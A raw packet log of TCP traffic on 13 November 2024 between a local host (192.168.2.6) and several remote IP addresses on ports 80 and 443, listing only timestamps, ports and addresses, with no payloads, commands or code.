Nov 13, 2024 18:08:13.587791920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.587793112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.587802887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.587807894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.587822914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.587858915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588032961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588043928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588053942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588064909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588072062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588076115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588078976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588087082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588097095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588100910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588109016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588124037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588136911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588150024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588160038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588160992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588171959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588182926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588190079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588195086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588206053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588206053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588217974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588226080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588228941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588241100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588243961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588265896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588268042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.588290930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588313103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.588994980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589030027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589035988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589041948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589051962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589067936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589072943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589083910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589086056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589095116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589104891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589106083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589118004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589128971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589129925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589138985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589142084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589148998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589158058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589159012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589169025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589181900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589191914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589193106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589202881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589210987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589214087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589225054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589236021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589236975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589258909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589273930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589936018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589947939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589957952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.589982033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.589994907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590002060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590004921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590015888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590028048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590029955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590039015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590049982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590055943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590060949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590070963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590080976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590085030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590091944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590101957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590104103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590114117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590116978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590125084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590136051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590146065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590147018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590158939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590168953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590172052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590184927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590210915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590910912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590926886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590936899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590945959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590953112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590955973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590965986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590976000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590982914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.590984106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.590996027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591001034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591006041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591008902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591015100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591021061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591025114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591029882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591037989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591062069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591067076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591073036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591082096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591094017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591098070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591103077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591110945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591114044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591139078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591160059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591867924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591878891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591887951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591898918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591907978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591916084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591918945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591929913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591941118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591943026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591952085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591962099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591963053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591973066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591979980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.591983080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591994047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.591994047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.592004061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.592015028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.592024088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.592027903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.592029095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.592041969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.592067957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.607095003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.607180119 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.607256889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.607292891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.607292891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.607323885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.650949001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.651050091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.651082993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.651093006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.651118040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.651207924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.651242018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.651329994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.651341915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.651351929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.651364088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.651364088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.651377916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.651392937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.651427984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.651451111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.651473045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.651493073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.768030882 CET	443	49727	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.773847103 CET	443	49728	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.774415016 CET	443	49726	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.786299944 CET	443	49729	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.820549011 CET	49728	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.820549011 CET	49727	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.820568085 CET	49726	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.821713924 CET	443	49725	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.836153030 CET	49729	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.883136988 CET	49725	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.910511971 CET	49725	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.910569906 CET	443	49725	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.911003113 CET	49725	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.911017895 CET	443	49725	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.911221027 CET	49729	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.911241055 CET	443	49729	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.912225962 CET	49729	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.912231922 CET	443	49729	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.912511110 CET	49727	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.912523985 CET	443	49727	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.913002014 CET	49727	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.913013935 CET	443	49727	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.913465023 CET	49728	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.913477898 CET	443	49728	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.913958073 CET	49728	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.913969994 CET	443	49728	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.914159060 CET	49726	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.914165974 CET	443	49726	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.914694071 CET	49726	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.914700031 CET	443	49726	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.039262056 CET	443	49728	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.039557934 CET	443	49728	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.039735079 CET	49728	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.042201996 CET	443	49726	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.042421103 CET	443	49726	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.042471886 CET	49726	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.042546988 CET	443	49727	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.042603016 CET	443	49727	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.042643070 CET	49727	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.052135944 CET	443	49725	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.052392006 CET	443	49725	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.052438021 CET	49725	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.068645000 CET	443	49729	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.068727016 CET	443	49729	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.068789005 CET	49729	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.200862885 CET	49728	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.200906038 CET	443	49728	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.200923920 CET	49728	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.200932980 CET	443	49728	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.202497959 CET	49725	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.202517033 CET	443	49725	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.202532053 CET	49725	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.202538967 CET	443	49725	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.203528881 CET	49729	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.203560114 CET	443	49729	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.203577042 CET	49729	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.203586102 CET	443	49729	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.204427004 CET	49726	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.204427004 CET	49726	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.204437017 CET	443	49726	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.204447031 CET	443	49726	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.205259085 CET	49727	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.205280066 CET	443	49727	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.205295086 CET	49727	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.205302000 CET	443	49727	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.208779097 CET	49730	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.208817005 CET	443	49730	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.208878994 CET	49730	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.209958076 CET	49731	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.209986925 CET	443	49731	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.210036039 CET	49731	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.212539911 CET	49730	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.212569952 CET	443	49730	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.213084936 CET	49731	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.213102102 CET	443	49731	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.213778019 CET	49732	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.213813066 CET	443	49732	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.213881969 CET	49732	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.214021921 CET	49732	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.214040041 CET	443	49732	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.215142012 CET	49733	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.215177059 CET	443	49733	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.215344906 CET	49733	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.215419054 CET	49733	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.215428114 CET	443	49733	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.216392040 CET	49734	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.216399908 CET	443	49734	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.216470003 CET	49734	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.217035055 CET	49734	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.217046022 CET	443	49734	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.585299015 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:14.585355043 CET	443	49735	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:14.585414886 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:14.586050034 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:14.586070061 CET	443	49735	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:14.942306995 CET	443	49730	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.950814009 CET	443	49731	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.951591969 CET	443	49732	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.951644897 CET	443	49734	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.981362104 CET	443	49733	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.981962919 CET	49733	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.981987000 CET	443	49733	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.982363939 CET	49733	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.982383013 CET	443	49733	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.982707024 CET	49734	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.982774019 CET	443	49734	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.983015060 CET	49734	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.983031034 CET	443	49734	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.983335018 CET	49730	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.983370066 CET	443	49730	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.983983040 CET	49730	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.984039068 CET	443	49730	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:14.992403030 CET	49731	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:14.992429018 CET	49732	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.013813972 CET	49731	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.013827085 CET	443	49731	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.014206886 CET	49731	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.014213085 CET	443	49731	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.020283937 CET	49732	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.020303011 CET	443	49732	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.020558119 CET	49732	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.020565987 CET	443	49732	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.108582973 CET	443	49730	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.108654022 CET	443	49730	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.108711004 CET	49730	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.140801907 CET	443	49731	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.140868902 CET	443	49731	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.140919924 CET	49731	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.145793915 CET	443	49732	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.145956993 CET	443	49732	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.146037102 CET	49732	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.202490091 CET	49730	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.202522993 CET	443	49730	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.202548981 CET	49730	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.202563047 CET	443	49730	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.203742981 CET	49731	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.203767061 CET	443	49731	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.203783035 CET	49731	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.203790903 CET	443	49731	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.206640005 CET	49732	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.206649065 CET	443	49732	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.206659079 CET	49732	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.206662893 CET	443	49732	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.235760927 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.235768080 CET	443	49738	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:15.235835075 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.236094952 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.236107111 CET	443	49738	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:15.246498108 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.246545076 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:15.246639967 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.246900082 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.246929884 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:15.250560045 CET	49741	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.250569105 CET	443	49741	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.250636101 CET	49741	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.251566887 CET	49742	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.251653910 CET	443	49742	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.251739025 CET	49742	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.297332048 CET	443	49733	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.297405958 CET	443	49733	13.107.246.45	192.168.2.6
